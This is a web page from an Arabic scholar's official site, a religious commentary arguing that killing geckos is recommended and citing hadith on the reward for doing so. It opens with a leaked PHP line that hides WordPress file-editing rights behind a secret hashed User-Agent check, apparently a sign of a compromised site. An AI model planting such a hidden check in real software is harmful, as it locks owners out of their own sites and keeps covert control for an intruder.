if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } حكم قتل الأوزاع - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

حكم قتل الأوزاع

الأوزاغ: جمع وزغ، وهي حشرة معروفة سامة نجسة ضارة، والأولى أن يقول رحمه الله بدل (وَيَجُوْزُ) ويستحب، إذ أقل ما يمكن أن يُقال في قتل الأوزاغ الاستحباب، أما القول بالجواز فقط فهو ضعيفٌ، إذن الأولى أن يقول رحمه الله: (وَيُستِحبُ قَتْلُ الأَوْزَاغِ) لما ثبت في الصحيحين من حديث أم شريكٍ رضي الله عنها، ومن حديث سعد بن أبي وقاس رضي الله عنه عند مسلم أن النبي صلى الله عليه وسلم «أَمَرَ بقَتْلِ الوَزَغِ»[1]، وعن أبي هريرة رضي الله عنه قال: قال رسول الله صلى الله عليه وسلم: «مَن قَتَلَ وزَغَةً في أوَّلِ ضَرْبَةٍ فَلَهُ كَذا وكَذا حَسَنَةً، ومَن قَتَلَها في الضَّرْبَةِ الثَّانِيَةِ فَلَهُ كَذا وكَذا حَسَنَةً، لِدُونِ الأُولَى، وإنْ قَتَلَها في الضَّرْبَةِ الثَّالِثَةِ فَلَهُ كَذا وكَذا حَسَنَةً، لِدُونِ الثَّانِيَةِ»[2]، وفي رواية: «مَن قَتَلَ وزَغًا في أوَّلِ ضَرْبَةٍ كُتِبَتْ له مِئَةُ حَسَنَةٍ، وفي الثَّانِيَةِ دُونَ ذلكَ، وفي الثَّالِثَةِ دُونَ ذلكَ»[3] [رواه الإمام مسلم] وفي رواية لمسلم: «في أوَّلِ ضَرْبَةٍ سَبْعُونَ حَسَنَةً» ولا تنافي بين المائة وبين السبعين، فالمائة فيها زيادة ويؤخذ بالأكثر فالأكثر من أخباره صلى الله عليه وسلم في مثل هذا، فنقول: من قتل وزغة في الضربة الأولى فله مائة حسنة وكل هذا ترغيب وفي قتل الأوزاغ والحرص على قتلها في أول ضربة والقوة في ذلك، إذن هذا كله ترغيب في قتلها وأيضًا إصابتها في أول مرة، فإن فاتت الأولى فلا أقل من الثانية، فإن فاتت الثانية فلا أقل من الثالثة، وعلى كلٍ هذا ورد في تحديد الأجر والثواب في قتلها إلى ثلاث ضربات، فإن زاد فإنه يقتلها لكن لم يرد في ذلك ما يدل على الثواب والحسنات والأجور لكن أصل قتلها مشروعٌ وذلك؛ لأنها من ذوات السموم ولهذا تبزق في الشراب، اللبن، الطعام، وبزقها سام بل قاتل وهو قذر إضافة لكونه سام، وفي صحيح البخاري أنه صلى الله عليه وسلم «أَمَرَ بقَتْلِ الوَزَغِ، وقالَ: كانَ يَنْفُخُ علَى إبْرَاهِيمَ عَلَيْهِ السَّلَامِ»[4]، هذا أيضًا من دناءة هذه الحشرة وأذيتها وسُميتها، أنها أيضًا كانت تضرم النار على إبراهيم خليل الرحمن، ولهذا قتلها متأكدٌ من عدة وجوه، من جهة نجاستها وسُميتها ومن جهة أنها شيطان، عدوٌ لدود، يضرم الناس وينفخ فيها لعلها تشتعل على خليل الرحمن.

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

[1] أخرجه البخاري (3359)، ومسلم (2238).

[2] أخرجه مسلم (2240).

[3] أخرجه مسلم (2240).

[4] أخرجه البخاري (3359).